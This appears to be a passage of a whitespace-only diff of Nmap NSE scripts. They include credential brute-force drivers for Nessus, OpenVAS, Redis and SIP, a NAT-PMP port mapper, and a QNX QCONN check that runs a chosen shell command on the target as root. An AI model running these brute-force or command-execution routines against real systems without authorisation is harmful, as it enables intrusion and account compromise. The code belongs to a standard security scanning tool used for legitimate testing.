||||
result = ("%s\nQuery: %s\nUser: %s"):format(result, arg_query, username)
|
||||
last_error = nil
|
||||
break
|
||||
else
|
||||
last_error = rs
|
||||
end
|
||||
else
|
||||
socket:close()
|
||||
end
|
||||
end
|
||||
return stdnse.format_output(true, (last_error and ("ERROR: %s"):format(last_error) or result))
|
||||
end
|
||||
|
||||
@@ -53,57 +53,57 @@ portrule = shortport.port_or_service(3306, "mysql")
|
||||
|
||||
action = function( host, port )
|
||||
|
||||
local socket = nmap.new_socket()
|
||||
local catch = function() socket:close() end
|
||||
local try = nmap.new_try(catch)
|
||||
local result, response = {}, nil
|
||||
local users = {}
|
||||
local nmap_args = nmap.registry.args
|
||||
local status, rows
|
||||
local socket = nmap.new_socket()
|
||||
local catch = function() socket:close() end
|
||||
local try = nmap.new_try(catch)
|
||||
local result, response = {}, nil
|
||||
local users = {}
|
||||
local nmap_args = nmap.registry.args
|
||||
local status, rows
|
||||
|
||||
-- set a reasonable timeout value
|
||||
socket:set_timeout(5000)
|
||||
-- set a reasonable timeout value
|
||||
socket:set_timeout(5000)
|
||||
|
||||
-- first, let's see if the script has any credentials as arguments?
|
||||
if nmap_args.mysqluser then
|
||||
users[nmap_args.mysqluser] = nmap_args.mysqlpass or ""
|
||||
-- next, let's see if mysql-brute or mysql-empty-password brought us anything
|
||||
elseif nmap.registry.mysqlusers then
|
||||
-- do we have root credentials?
|
||||
if nmap.registry.mysqlusers['root'] then
|
||||
users['root'] = nmap.registry.mysqlusers['root']
|
||||
else
|
||||
-- we didn't have root, so let's make sure we loop over them all
|
||||
users = nmap.registry.mysqlusers
|
||||
end
|
||||
-- last, no dice, we don't have any credentials at all
|
||||
else
|
||||
stdnse.print_debug("No credentials supplied, aborting ...")
|
||||
return
|
||||
end
|
||||
-- first, let's see if the script has any credentials as arguments?
|
||||
if nmap_args.mysqluser then
|
||||
users[nmap_args.mysqluser] = nmap_args.mysqlpass or ""
|
||||
-- next, let's see if mysql-brute or mysql-empty-password brought us anything
|
||||
elseif nmap.registry.mysqlusers then
|
||||
-- do we have root credentials?
|
||||
if nmap.registry.mysqlusers['root'] then
|
||||
users['root'] = nmap.registry.mysqlusers['root']
|
||||
else
|
||||
-- we didn't have root, so let's make sure we loop over them all
|
||||
users = nmap.registry.mysqlusers
|
||||
end
|
||||
-- last, no dice, we don't have any credentials at all
|
||||
else
|
||||
stdnse.print_debug("No credentials supplied, aborting ...")
|
||||
return
|
||||
end
|
||||
|
||||
--
|
||||
-- Iterates over credentials, breaks once it successfully recieves results
|
||||
--
|
||||
for username, password in pairs(users) do
|
||||
--
|
||||
-- Iterates over credentials, breaks once it successfully recieves results
|
||||
--
|
||||
for username, password in pairs(users) do
|
||||
|
||||
try( socket:connect(host, port) )
|
||||
try( socket:connect(host, port) )
|
||||
|
||||
response = try( mysql.receiveGreeting( socket ) )
|
||||
status, response = mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt )
|
||||
response = try( mysql.receiveGreeting( socket ) )
|
||||
status, response = mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt )
|
||||
|
||||
if status and response.errorcode == 0 then
|
||||
local status, rs = mysql.sqlQuery( socket, "show variables" )
|
||||
if status then
|
||||
for _, row in ipairs(rs.rows) do
|
||||
table.insert(result, ("%s: %s"):format(row[1], row[2]) )
|
||||
end
|
||||
end
|
||||
end
|
||||
if status and response.errorcode == 0 then
|
||||
local status, rs = mysql.sqlQuery( socket, "show variables" )
|
||||
if status then
|
||||
for _, row in ipairs(rs.rows) do
|
||||
table.insert(result, ("%s: %s"):format(row[1], row[2]) )
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
socket:close()
|
||||
end
|
||||
socket:close()
|
||||
end
|
||||
|
||||
return stdnse.format_output(true, result)
|
||||
return stdnse.format_output(true, result)
|
||||
|
||||
end
|
||||
|
||||
@@ -59,58 +59,58 @@ local function fail(str) return "\n ERROR: " .. str end
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local op = arg_op:lower()
|
||||
local op = arg_op:lower()
|
||||
|
||||
if ( "map" ~= op and "unmap" ~= op and "unmapall" ~= op ) then
|
||||
return fail("Operation must be either \"map\", \"unmap\" or \"unmapall\"")
|
||||
end
|
||||
if ( "map" ~= op and "unmap" ~= op and "unmapall" ~= op ) then
|
||||
return fail("Operation must be either \"map\", \"unmap\" or \"unmapall\"")
|
||||
end
|
||||
|
||||
if ( ("map" == op or "unmap" == op ) and
|
||||
( not(arg_pubport) or not(arg_privport) or not(arg_protocol) ) ) then
|
||||
return fail("The arguments pubport, privport and protocol are required")
|
||||
elseif ( "unmapall" == op and not(arg_protocol) ) then
|
||||
return fail("The argument protocol is required")
|
||||
end
|
||||
if ( ("map" == op or "unmap" == op ) and
|
||||
( not(arg_pubport) or not(arg_privport) or not(arg_protocol) ) ) then
|
||||
return fail("The arguments pubport, privport and protocol are required")
|
||||
elseif ( "unmapall" == op and not(arg_protocol) ) then
|
||||
return fail("The argument protocol is required")
|
||||
end
|
||||
|
||||
local helper = natpmp.Helper:new(host, port)
|
||||
local helper = natpmp.Helper:new(host, port)
|
||||
|
||||
if ( "unmap" == op or "unmapall" == op ) then
|
||||
arg_lifetime = 0
|
||||
end
|
||||
if ( "unmapall" == op ) then
|
||||
arg_pubport, arg_privport = 0, 0
|
||||
end
|
||||
if ( "unmap" == op or "unmapall" == op ) then
|
||||
arg_lifetime = 0
|
||||
end
|
||||
if ( "unmapall" == op ) then
|
||||
arg_pubport, arg_privport = 0, 0
|
||||
end
|
||||
|
||||
local status, response = helper:getWANIP()
|
||||
if ( not(status) ) then
|
||||
return fail("Failed to retrieve WAN IP")
|
||||
end
|
||||
local status, response = helper:getWANIP()
|
||||
if ( not(status) ) then
|
||||
return fail("Failed to retrieve WAN IP")
|
||||
end
|
||||
|
||||
local wan_ip = response.ip
|
||||
local lan_ip = (nmap.get_interface_info(host.interface)).address
|
||||
local wan_ip = response.ip
|
||||
local lan_ip = (nmap.get_interface_info(host.interface)).address
|
||||
|
||||
local status, response = helper:mapPort(arg_pubport, arg_privport, arg_protocol, arg_lifetime)
|
||||
local status, response = helper:mapPort(arg_pubport, arg_privport, arg_protocol, arg_lifetime)
|
||||
|
||||
if ( not(status) ) then
|
||||
return fail(response)
|
||||
end
|
||||
if ( not(status) ) then
|
||||
return fail(response)
|
||||
end
|
||||
|
||||
local output
|
||||
if ( "unmap" == op ) then
|
||||
output = ("Successfully unmapped %s %s:%d -> %s:%d"):format(
|
||||
arg_protocol, wan_ip, response.pubport, lan_ip, response.privport )
|
||||
elseif ( "unmapall" == op ) then
|
||||
output = ("Sucessfully unmapped all %s NAT mappings for %s"):format(arg_protocol, lan_ip)
|
||||
else
|
||||
output = ("Successfully mapped %s %s:%d -> %s:%d"):format(
|
||||
arg_protocol, wan_ip, response.pubport, lan_ip, response.privport )
|
||||
local output
|
||||
if ( "unmap" == op ) then
|
||||
output = ("Successfully unmapped %s %s:%d -> %s:%d"):format(
|
||||
arg_protocol, wan_ip, response.pubport, lan_ip, response.privport )
|
||||
elseif ( "unmapall" == op ) then
|
||||
output = ("Sucessfully unmapped all %s NAT mappings for %s"):format(arg_protocol, lan_ip)
|
||||
else
|
||||
output = ("Successfully mapped %s %s:%d -> %s:%d"):format(
|
||||
arg_protocol, wan_ip, response.pubport, lan_ip, response.privport )
|
||||
|
||||
if ( tonumber(arg_pubport) ~= tonumber(response.pubport) ) then
|
||||
output = { output }
|
||||
table.insert(output, "WARNING: Requested public port could not be allocated")
|
||||
end
|
||||
end
|
||||
if ( tonumber(arg_pubport) ~= tonumber(response.pubport) ) then
|
||||
output = { output }
|
||||
table.insert(output, "WARNING: Requested public port could not be allocated")
|
||||
end
|
||||
end
|
||||
|
||||
return stdnse.format_output(true, output)
|
||||
return stdnse.format_output(true, output)
|
||||
|
||||
end
|
||||
|
||||
@@ -36,95 +36,95 @@ arg_timeout = (arg_timeout or 5) * 1000
|
||||
local arg_threads = stdnse.get_script_args("nessus-xmlrpc-brute.threads")
|
||||
|
||||
local function authenticate(host, port, username, password)
|
||||
local post_data = ("login=%s&password=%s"):format(username, password)
|
||||
local post_data = ("login=%s&password=%s"):format(username, password)
|
||||
|
||||
local headers = {
|
||||
"POST /login HTTP/1.1",
|
||||
"User-Agent: Nmap",
|
||||
("Host: %s:%d"):format(host.ip, port.number),
|
||||
"Accept: */*",
|
||||
("Content-Length: %d"):format(#post_data),
|
||||
"Content-Type: application/x-www-form-urlencoded",
|
||||
}
|
||||
local headers = {
|
||||
"POST /login HTTP/1.1",
|
||||
"User-Agent: Nmap",
|
||||
("Host: %s:%d"):format(host.ip, port.number),
|
||||
"Accept: */*",
|
||||
("Content-Length: %d"):format(#post_data),
|
||||
"Content-Type: application/x-www-form-urlencoded",
|
||||
}
|
||||
|
||||
local data = table.concat(headers, "\r\n") .. "\r\n\r\n" .. post_data
|
||||
local socket = nmap.new_socket()
|
||||
socket:set_timeout(arg_timeout)
|
||||
local data = table.concat(headers, "\r\n") .. "\r\n\r\n" .. post_data
|
||||
local socket = nmap.new_socket()
|
||||
socket:set_timeout(arg_timeout)
|
||||
|
||||
local status, err = socket:connect(host, port)
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to connect to server"
|
||||
end
|
||||
local status, err = socket:send(data)
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to send request to server"
|
||||
end
|
||||
local status, response = socket:receive()
|
||||
socket:close()
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to receive response from server"
|
||||
end
|
||||
return status, response
|
||||
local status, err = socket:connect(host, port)
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to connect to server"
|
||||
end
|
||||
local status, err = socket:send(data)
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to send request to server"
|
||||
end
|
||||
local status, response = socket:receive()
|
||||
socket:close()
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to receive response from server"
|
||||
end
|
||||
return status, response
|
||||
end
|
||||
|
||||
Driver =
|
||||
{
|
||||
new = function (self, host, port )
|
||||
local o = { host = host, port = port }
|
||||
setmetatable (o,self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
new = function (self, host, port )
|
||||
local o = { host = host, port = port }
|
||||
setmetatable (o,self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
|
||||
connect = function ( self ) return true end,
|
||||
connect = function ( self ) return true end,
|
||||
|
||||
login = function( self, username, password )
|
||||
login = function( self, username, password )
|
||||
|
||||
local status, response = authenticate(self.host, self.port, username, password)
|
||||
if ( status and response ) then
|
||||
if ( response:match("^HTTP/1.1 200 OK.*<status>OK</status>") ) then
|
||||
return true, brute.Account:new(username, password, creds.State.VALID)
|
||||
elseif ( response:match("^HTTP/1.1 200 OK.*<status>ERROR</status>") ) then
|
||||
return false, brute.Error:new("incorrect login")
|
||||
end
|
||||
end
|
||||
local err = brute.Error:new( "incorrect response from server" )
|
||||
err:setRetry(true)
|
||||
return false, err
|
||||
end,
|
||||
local status, response = authenticate(self.host, self.port, username, password)
|
||||
if ( status and response ) then
|
||||
if ( response:match("^HTTP/1.1 200 OK.*<status>OK</status>") ) then
|
||||
return true, brute.Account:new(username, password, creds.State.VALID)
|
||||
elseif ( response:match("^HTTP/1.1 200 OK.*<status>ERROR</status>") ) then
|
||||
return false, brute.Error:new("incorrect login")
|
||||
end
|
||||
end
|
||||
local err = brute.Error:new( "incorrect response from server" )
|
||||
err:setRetry(true)
|
||||
return false, err
|
||||
end,
|
||||
|
||||
disconnect = function( self ) return true end,
|
||||
disconnect = function( self ) return true end,
|
||||
}
|
||||
|
||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local status, response = authenticate(host, port, "nmap-ssl-test-probe", "nmap-ssl-test-probe")
|
||||
if ( not(status) ) then
|
||||
return fail(response)
|
||||
end
|
||||
-- patch the protocol due to the ugly way the Nessus web server works.
|
||||
-- The server answers non-ssl connections as legitimate http stating that
|
||||
-- the server should be connected to using https on the same port. ugly.
|
||||
if ( status and response:match("^HTTP/1.1 400 Bad request\r\n") ) then
|
||||
port.protocol = "ssl"
|
||||
status, response = authenticate(host, port, "nmap-ssl-test-probe", "nmap-ssl-test-probe")
|
||||
if ( not(status) ) then
|
||||
return fail(response)
|
||||
end
|
||||
end
|
||||
local status, response = authenticate(host, port, "nmap-ssl-test-probe", "nmap-ssl-test-probe")
|
||||
if ( not(status) ) then
|
||||
return fail(response)
|
||||
end
|
||||
-- patch the protocol due to the ugly way the Nessus web server works.
|
||||
-- The server answers non-ssl connections as legitimate http stating that
|
||||
-- the server should be connected to using https on the same port. ugly.
|
||||
if ( status and response:match("^HTTP/1.1 400 Bad request\r\n") ) then
|
||||
port.protocol = "ssl"
|
||||
status, response = authenticate(host, port, "nmap-ssl-test-probe", "nmap-ssl-test-probe")
|
||||
if ( not(status) ) then
|
||||
return fail(response)
|
||||
end
|
||||
end
|
||||
|
||||
if ( not(response:match("^HTTP/1.1 200 OK.*Server: NessusWWW.*<status>ERROR</status>")) ) then
|
||||
return fail("Failed to detect Nessus Web server")
|
||||
end
|
||||
if ( not(response:match("^HTTP/1.1 200 OK.*Server: NessusWWW.*<status>ERROR</status>")) ) then
|
||||
return fail("Failed to detect Nessus Web server")
|
||||
end
|
||||
|
||||
local engine = brute.Engine:new(Driver, host, port)
|
||||
if ( arg_threads ) then
|
||||
engine:setMaxThreads(arg_threads)
|
||||
end
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
local result
|
||||
status, result = engine:start()
|
||||
return result
|
||||
local engine = brute.Engine:new(Driver, host, port)
|
||||
if ( arg_threads ) then
|
||||
engine:setMaxThreads(arg_threads)
|
||||
end
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
local result
|
||||
status, result = engine:start()
|
||||
return result
|
||||
end
|
||||
|
||||
@@ -34,79 +34,79 @@ portrule = shortport.port_or_service({9390,9391}, "openvas", "tcp")
|
||||
|
||||
Driver =
|
||||
{
|
||||
new = function (self, host, port)
|
||||
local o = { host = host, port = port }
|
||||
setmetatable (o,self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
new = function (self, host, port)
|
||||
local o = { host = host, port = port }
|
||||
setmetatable (o,self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
|
||||
connect = function ( self )
|
||||
self.socket = nmap.new_socket()
|
||||
if ( not(self.socket:connect(self.host, self.port, "ssl")) ) then
|
||||
return false
|
||||
end
|
||||
return true
|
||||
end,
|
||||
connect = function ( self )
|
||||
self.socket = nmap.new_socket()
|
||||
if ( not(self.socket:connect(self.host, self.port, "ssl")) ) then
|
||||
return false
|
||||
end
|
||||
return true
|
||||
end,
|
||||
|
||||
login = function( self, username, password )
|
||||
local status, err = self.socket:send("< OTP/1.0 >\n")
|
||||
login = function( self, username, password )
|
||||
local status, err = self.socket:send("< OTP/1.0 >\n")
|
||||
|
||||
if ( not ( status ) ) then
|
||||
local err = brute.Error:new( "Unable to send handshake" )
|
||||
err:setAbort(true)
|
||||
return false, err
|
||||
end
|
||||
if ( not ( status ) ) then
|
||||
local err = brute.Error:new( "Unable to send handshake" )
|
||||
err:setAbort(true)
|
||||
return false, err
|
||||
end
|
||||
|
||||
local response
|
||||
status, response = self.socket:receive_buf("\r?\n", false)
|
||||
if ( not(status) or response ~= "< OTP/1.0 >" ) then
|
||||
local err = brute.Error:new( "Bad handshake from server: "..response )
|
||||
err:setAbort(true)
|
||||
return false, err
|
||||
end
|
||||
local response
|
||||
status, response = self.socket:receive_buf("\r?\n", false)
|
||||
if ( not(status) or response ~= "< OTP/1.0 >" ) then
|
||||
local err = brute.Error:new( "Bad handshake from server: "..response )
|
||||
err:setAbort(true)
|
||||
return false, err
|
||||
end
|
||||
|
||||
status, err = self.socket:send(username.."\n")
|
||||
if ( not(status) ) then
|
||||
local err = brute.Error:new( "Couldn't send user: "..username )
|
||||
err:setAbort( true )
|
||||
return false, err
|
||||
end
|
||||
status, err = self.socket:send(username.."\n")
|
||||
if ( not(status) ) then
|
||||
local err = brute.Error:new( "Couldn't send user: "..username )
|
||||
err:setAbort( true )
|
||||
return false, err
|
||||
end
|
||||
|
||||
status, err = self.socket:send(password.."\n")
|
||||
if ( not(status) ) then
|
||||
local err = brute.Error:new( "Couldn't send password: "..password )
|
||||
err:setAbort( true )
|
||||
return false, err
|
||||
end
|
||||
status, err = self.socket:send(password.."\n")
|
||||
if ( not(status) ) then
|
||||
local err = brute.Error:new( "Couldn't send password: "..password )
|
||||
err:setAbort( true )
|
||||
return false, err
|
||||
end
|
||||
|
||||
-- Create a buffer and receive the first line
|
||||
local line
|
||||
status, line = self.socket:receive_buf("\r?\n", false)
|
||||
-- Create a buffer and receive the first line
|
||||
local line
|
||||
status, line = self.socket:receive_buf("\r?\n", false)
|
||||
|
||||
if (line == nil or string.match(line,"Bad login")) then
|
||||
stdnse.print_debug(2, "openvas-otp-brute: Bad login: %s/%s", username, password)
|
||||
return false, brute.Error:new( "Bad login" )
|
||||
elseif (string.match(line,"SERVER <|>")) then
|
||||
if (line == nil or string.match(line,"Bad login")) then
|
||||
stdnse.print_debug(2, "openvas-otp-brute: Bad login: %s/%s", username, password)
|
||||
return false, brute.Error:new( "Bad login" )
|
||||
elseif (string.match(line,"SERVER <|>")) then
|
||||
|
||||
stdnse.print_debug(1, "openvas-otp-brute: Good login: %s/%s", username, password)
|
||||
return true, brute.Account:new(username, password, creds.State.VALID)
|
||||
end
|
||||
stdnse.print_debug(1, "openvas-otp-brute: Good login: %s/%s", username, password)
|
||||
return true, brute.Account:new(username, password, creds.State.VALID)
|
||||
end
|
||||
|
||||
stdnse.print_debug(1, "openvas-otp-brute: WARNING: Unhandled response: %s", line)
|
||||
return false, brute.Error:new( "unhandled response" )
|
||||
end,
|
||||
stdnse.print_debug(1, "openvas-otp-brute: WARNING: Unhandled response: %s", line)
|
||||
return false, brute.Error:new( "unhandled response" )
|
||||
end,
|
||||
|
||||
disconnect = function( self )
|
||||
self.socket:close()
|
||||
end,
|
||||
disconnect = function( self )
|
||||
self.socket:close()
|
||||
end,
|
||||
}
|
||||
|
||||
action = function(host, port)
|
||||
local engine = brute.Engine:new(Driver, host, port)
|
||||
engine:setMaxThreads(1)
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
local status, result = engine:start()
|
||||
return result
|
||||
local engine = brute.Engine:new(Driver, host, port)
|
||||
engine:setMaxThreads(1)
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
local status, result = engine:start()
|
||||
return result
|
||||
end
|
||||
|
||||
|
||||
@@ -61,54 +61,54 @@ categories = {"intrusive", "exploit", "vuln"}
|
||||
portrule = shortport.port_or_service ({8000}, "qconn", {"tcp"})
|
||||
|
||||
action = function( host, port )
|
||||
local vuln_table = {
|
||||
title = "The QNX QCONN daemon allows remote command execution.",
|
||||
state = vulns.STATE.NOT_VULN,
|
||||
risk_factor = "High",
|
||||
description = [[
|
||||
local vuln_table = {
|
||||
title = "The QNX QCONN daemon allows remote command execution.",
|
||||
state = vulns.STATE.NOT_VULN,
|
||||
risk_factor = "High",
|
||||
description = [[
|
||||
The QNX QCONN daemon allows unauthenticated users to execute arbitrary operating
|
||||
system commands as the 'root' user.
|
||||
]],
|
||||
|
||||
references = {
|
||||
'http://www.fishnetsecurity.com/6labs/blog/pentesting-qnx-neutrino-rtos',
|
||||
'http://metasploit.org/modules/exploit/unix/misc/qnx_qconn_exec'
|
||||
}
|
||||
}
|
||||
references = {
|
||||
'http://www.fishnetsecurity.com/6labs/blog/pentesting-qnx-neutrino-rtos',
|
||||
'http://metasploit.org/modules/exploit/unix/misc/qnx_qconn_exec'
|
||||
}
|
||||
}
|
||||
|
||||
-- Set socket timeout
|
||||
local timeout = (stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout")) or 30)
|
||||
-- Set socket timeout
|
||||
local timeout = (stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout")) or 30)
|
||||
|
||||
-- Set max bytes to retrieve
|
||||
local bytes = (stdnse.get_script_args(SCRIPT_NAME .. '.bytes') or 1024)
|
||||
-- Set max bytes to retrieve
|
||||
local bytes = (stdnse.get_script_args(SCRIPT_NAME .. '.bytes') or 1024)
|
||||
|
||||
-- Set command to execute
|
||||
local cmd = (stdnse.get_script_args(SCRIPT_NAME .. '.cmd') or "uname -a")
|
||||
-- Set command to execute
|
||||
local cmd = (stdnse.get_script_args(SCRIPT_NAME .. '.cmd') or "uname -a")
|
||||
|
||||
-- Send command as service launcher request
|
||||
local req = string.format("service launcher\nstart/flags run /bin/sh /bin/sh -c \"%s\"\n", cmd)
|
||||
stdnse.print_debug(1, ("%s: Connecting to %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
||||
local status, data = comm.exchange(host, port, req, {timeout=timeout*1000,bytes=bytes})
|
||||
if not status then
|
||||
stdnse.print_debug(1, ("%s: Timeout exceeded for %s:%s (Timeout: %ss)."):format(SCRIPT_NAME, host.targetname or host.ip, port.number, timeout))
|
||||
return
|
||||
end
|
||||
-- Send command as service launcher request
|
||||
local req = string.format("service launcher\nstart/flags run /bin/sh /bin/sh -c \"%s\"\n", cmd)
|
||||
stdnse.print_debug(1, ("%s: Connecting to %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
||||
local status, data = comm.exchange(host, port, req, {timeout=timeout*1000,bytes=bytes})
|
||||
if not status then
|
||||
stdnse.print_debug(1, ("%s: Timeout exceeded for %s:%s (Timeout: %ss)."):format(SCRIPT_NAME, host.targetname or host.ip, port.number, timeout))
|
||||
return
|
||||
end
|
||||
|
||||
-- Parse response
|
||||
stdnse.print_debug(2, ("%s: Received reply:\n%s"):format(SCRIPT_NAME, data))
|
||||
if not string.match(data, "QCONN") then
|
||||
stdnse.print_debug(1, ("%s: %s:%s is not a QNX QCONN daemon."):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
||||
return
|
||||
end
|
||||
-- Parse response
|
||||
stdnse.print_debug(2, ("%s: Received reply:\n%s"):format(SCRIPT_NAME, data))
|
||||
if not string.match(data, "QCONN") then
|
||||
stdnse.print_debug(1, ("%s: %s:%s is not a QNX QCONN daemon."):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
||||
return
|
||||
end
|
||||
|
||||
-- Check if the daemon attempted to execute the command
|
||||
if string.match(data, 'OK [0-9]+\r?\n') then
|
||||
vuln_table.state = vulns.STATE.VULN
|
||||
local report = vulns.Report:new(SCRIPT_NAME, host, port)
|
||||
return report:make_output(vuln_table)
|
||||
else
|
||||
stdnse.print_debug(1, ("%s: %s:%s QNX QCONN daemon is not vulnerable."):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
||||
return
|
||||
end
|
||||
-- Check if the daemon attempted to execute the command
|
||||
if string.match(data, 'OK [0-9]+\r?\n') then
|
||||
vuln_table.state = vulns.STATE.VULN
|
||||
local report = vulns.Report:new(SCRIPT_NAME, host, port)
|
||||
return report:make_output(vuln_table)
|
||||
else
|
||||
stdnse.print_debug(1, ("%s: %s:%s QNX QCONN daemon is not vulnerable."):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
||||
return
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -33,80 +33,80 @@ local function fail(err) return ("\n ERROR: %s"):format(err) end
|
||||
|
||||
Driver = {
|
||||
|
||||
new = function(self, host, port)
|
||||
local o = { host = host, port = port }
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
new = function(self, host, port)
|
||||
local o = { host = host, port = port }
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
|
||||
connect = function( self )
|
||||
self.helper = redis.Helper:new(self.host, self.port)
|
||||
return self.helper:connect()
|
||||
end,
|
||||
connect = function( self )
|
||||
self.helper = redis.Helper:new(self.host, self.port)
|
||||
return self.helper:connect()
|
||||
end,
|
||||
|
||||
login = function( self, username, password )
|
||||
local status, response = self.helper:reqCmd("AUTH", password)
|
||||
login = function( self, username, password )
|
||||
local status, response = self.helper:reqCmd("AUTH", password)
|
||||
|
||||
-- some error occured, attempt to retry
|
||||
if ( status and response.type == redis.Response.Type.ERROR and
|
||||
"-ERR invalid password" == response.data ) then
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
elseif ( status and response.type == redis.Response.Type.STATUS and
|
||||
"+OK" ) then
|
||||
return true, brute.Account:new( "", password, creds.State.VALID)
|
||||
else
|
||||
local err = brute.Error:new( response.data )
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
-- some error occured, attempt to retry
|
||||
if ( status and response.type == redis.Response.Type.ERROR and
|
||||
"-ERR invalid password" == response.data ) then
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
elseif ( status and response.type == redis.Response.Type.STATUS and
|
||||
"+OK" ) then
|
||||
return true, brute.Account:new( "", password, creds.State.VALID)
|
||||
else
|
||||
local err = brute.Error:new( response.data )
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
|
||||
end,
|
||||
end,
|
||||
|
||||
disconnect = function(self)
|
||||
return self.helper:close()
|
||||
end,
|
||||
disconnect = function(self)
|
||||
return self.helper:close()
|
||||
end,
|
||||
|
||||
}
|
||||
|
||||
|
||||
local function checkRedis(host, port)
|
||||
|
||||
local helper = redis.Helper:new(host, port)
|
||||
local status = helper:connect()
|
||||
if( not(status) ) then
|
||||
return false, "Failed to connect to server"
|
||||
end
|
||||
local helper = redis.Helper:new(host, port)
|
||||
local status = helper:connect()
|
||||
if( not(status) ) then
|
||||
return false, "Failed to connect to server"
|
||||
end
|
||||
|
||||
local status, response = helper:reqCmd("INFO")
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to request INFO command"
|
||||
end
|
||||
local status, response = helper:reqCmd("INFO")
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to request INFO command"
|
||||
end
|
||||
|
||||
if ( redis.Response.Type.ERROR == response.type ) then
|
||||
if ( "-ERR operation not permitted" == response.data ) or
|
||||
( "-NOAUTH Authentication required." == response.data) then
|
||||
return true
|
||||
end
|
||||
end
|
||||
if ( redis.Response.Type.ERROR == response.type ) then
|
||||
if ( "-ERR operation not permitted" == response.data ) or
|
||||
( "-NOAUTH Authentication required." == response.data) then
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
return false, "Server does not require authentication"
|
||||
return false, "Server does not require authentication"
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local status, err = checkRedis(host, port)
|
||||
if ( not(status) ) then
|
||||
return fail(err)
|
||||
end
|
||||
local status, err = checkRedis(host, port)
|
||||
if ( not(status) ) then
|
||||
return fail(err)
|
||||
end
|
||||
|
||||
local engine = brute.Engine:new(Driver, host, port )
|
||||
local engine = brute.Engine:new(Driver, host, port )
|
||||
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
engine.options.firstonly = true
|
||||
engine.options:setOption( "passonly", true )
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
engine.options.firstonly = true
|
||||
engine.options:setOption( "passonly", true )
|
||||
|
||||
local result
|
||||
status, result = engine:start()
|
||||
return result
|
||||
local result
|
||||
status, result = engine:start()
|
||||
return result
|
||||
end
|
||||
|
||||
@@ -80,8 +80,8 @@ action = function (host, port)
|
||||
title = "RMI registry default configuration remote code execution vulnerability",
|
||||
|
||||
description = [[
|
||||
Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code executeion.
|
||||
]],
|
||||
Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code executeion.
|
||||
]],
|
||||
references = {
|
||||
'http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/multi/misc/java_rmi_server.rb',
|
||||
},
|
||||
|
||||
@@ -33,42 +33,42 @@ portrule = shortport.port_or_service(5060, "sip", {"tcp", "udp"})
|
||||
|
||||
Driver = {
|
||||
|
||||
new = function(self, host, port)
|
||||
local o = {}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
o.host = host
|
||||
o.port = port
|
||||
return o
|
||||
end,
|
||||
new = function(self, host, port)
|
||||
local o = {}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
o.host = host
|
||||
o.port = port
|
||||
return o
|
||||
end,
|
||||
|
||||
connect = function( self )
|
||||
self.helper = sip.Helper:new(self.host, self.port, { expires = 0 })
|
||||
local status, err = self.helper:connect()
|
||||
if ( not(status) ) then
|
||||
return "ERROR: Failed to connect to SIP server"
|
||||
end
|
||||
return true
|
||||
end,
|
||||
connect = function( self )
|
||||
self.helper = sip.Helper:new(self.host, self.port, { expires = 0 })
|
||||
local status, err = self.helper:connect()
|
||||
if ( not(status) ) then
|
||||
return "ERROR: Failed to connect to SIP server"
|
||||
end
|
||||
return true
|
||||
end,
|
||||
|
||||
login = function( self, username, password )
|
||||
self.helper:setCredentials(username, password)
|
||||
local status, err = self.helper:register()
|
||||
if ( not(status) ) then
|
||||
-- The 3CX System has an anti-hacking option that triggers after
|
||||
-- a certain amount of guesses. This protection basically prevents
|
||||
-- any connection from the offending IP at an application level.
|
||||
if ( err:match("^403 Forbidden") ) then
|
||||
local err = brute.Error:new("The systems seems to have blocked our IP")
|
||||
err:setAbort( true )
|
||||
return false, err
|
||||
end
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
end
|
||||
return true, brute.Account:new(username, password, creds.State.VALID)
|
||||
end,
|
||||
login = function( self, username, password )
|
||||
self.helper:setCredentials(username, password)
|
||||
local status, err = self.helper:register()
|
||||
if ( not(status) ) then
|
||||
-- The 3CX System has an anti-hacking option that triggers after
|
||||
